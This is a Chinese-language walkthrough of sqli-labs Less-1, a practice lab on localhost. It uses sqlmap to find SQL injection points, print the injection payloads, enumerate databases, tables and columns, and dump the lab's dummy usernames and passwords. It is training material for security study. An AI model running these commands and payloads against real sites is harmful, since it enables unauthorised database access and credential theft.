Less-1（sqlmap自动注入攻击）--sqli

环境准备

打开火狐浏览器，进入sqli第一关的页面

工具准备

  sqlmap

具体步骤

1.在搜索栏中输入“?id=1”，回车（一定要使用英文输入）

查看结果发现，可以访问到名字和密码

在搜索栏中输入“?id=2”，回车

?id=3，回车

2.打开命令行“cmd”，使用sqlmap进行自动注入攻击

第一步：在cmd下

python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-1/?id=1"        
 //使用sqlmap对此url网页进行自动注入扫描，找注入点

遇见[y/n]都直接回车跳过，得到

Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 2363=2363 AND 'waaH'='waaH

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: id=1' AND GTID_SUBSET(CONCAT(0x71706b7071,(SELECT (ELT(2276=2276,1))),0x717a6b6a71),2276) AND 'AJPH'='AJPH

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 9037 FROM (SELECT(SLEEP(5)))yKXS) AND 'prBO'='prBO

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=-1860' UNION ALL SELECT NULL,NULL,CONCAT(0x71706b7071,0x557348446b50717065444f776f784179496e744d587a674f496b794d72454c45666e504d796e6456,0x717a6b6a71)-- -
---

表明有四种注入漏洞：boolean-based blind,error-based,time-based blind,UNION query

第二步：爆库名

python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --dbs

available databases [9]:
[*] challenges
[*] dvwa
[*] information_schema
[*] mysql
[*] performance_schema
[*] pikachu
[*] pkxss
[*] security
[*] test

第三步：爆表名

python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security --tables

Database: security
[4 tables]
+----------+
| emails   |
| referers |
| uagents  |
| users    |
+----------+

第四步：爆字段名

python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T users --columns

Database: security
Table: users
[3 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| id       | int(3)      |
| password | varchar(20) |
| username | varchar(20) |
+----------+-------------+

第五步：爆数据

python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T users -C id,username,password --dump

Database: security
Table: users
[13 entries]
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
| 1  | Dumb     | Dumb       |
| 2  | Angelina | I-kill-you |
| 3  | Dummy    | p@ssword   |
| 4  | secure   | crappy     |
| 5  | stupid   | stupidity  |
| 6  | superman | genious    |
| 7  | batman   | mob!le     |
| 8  | admin    | admin      |
| 9  | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
+----+----------+------------+

完成，就得到了账户和密码
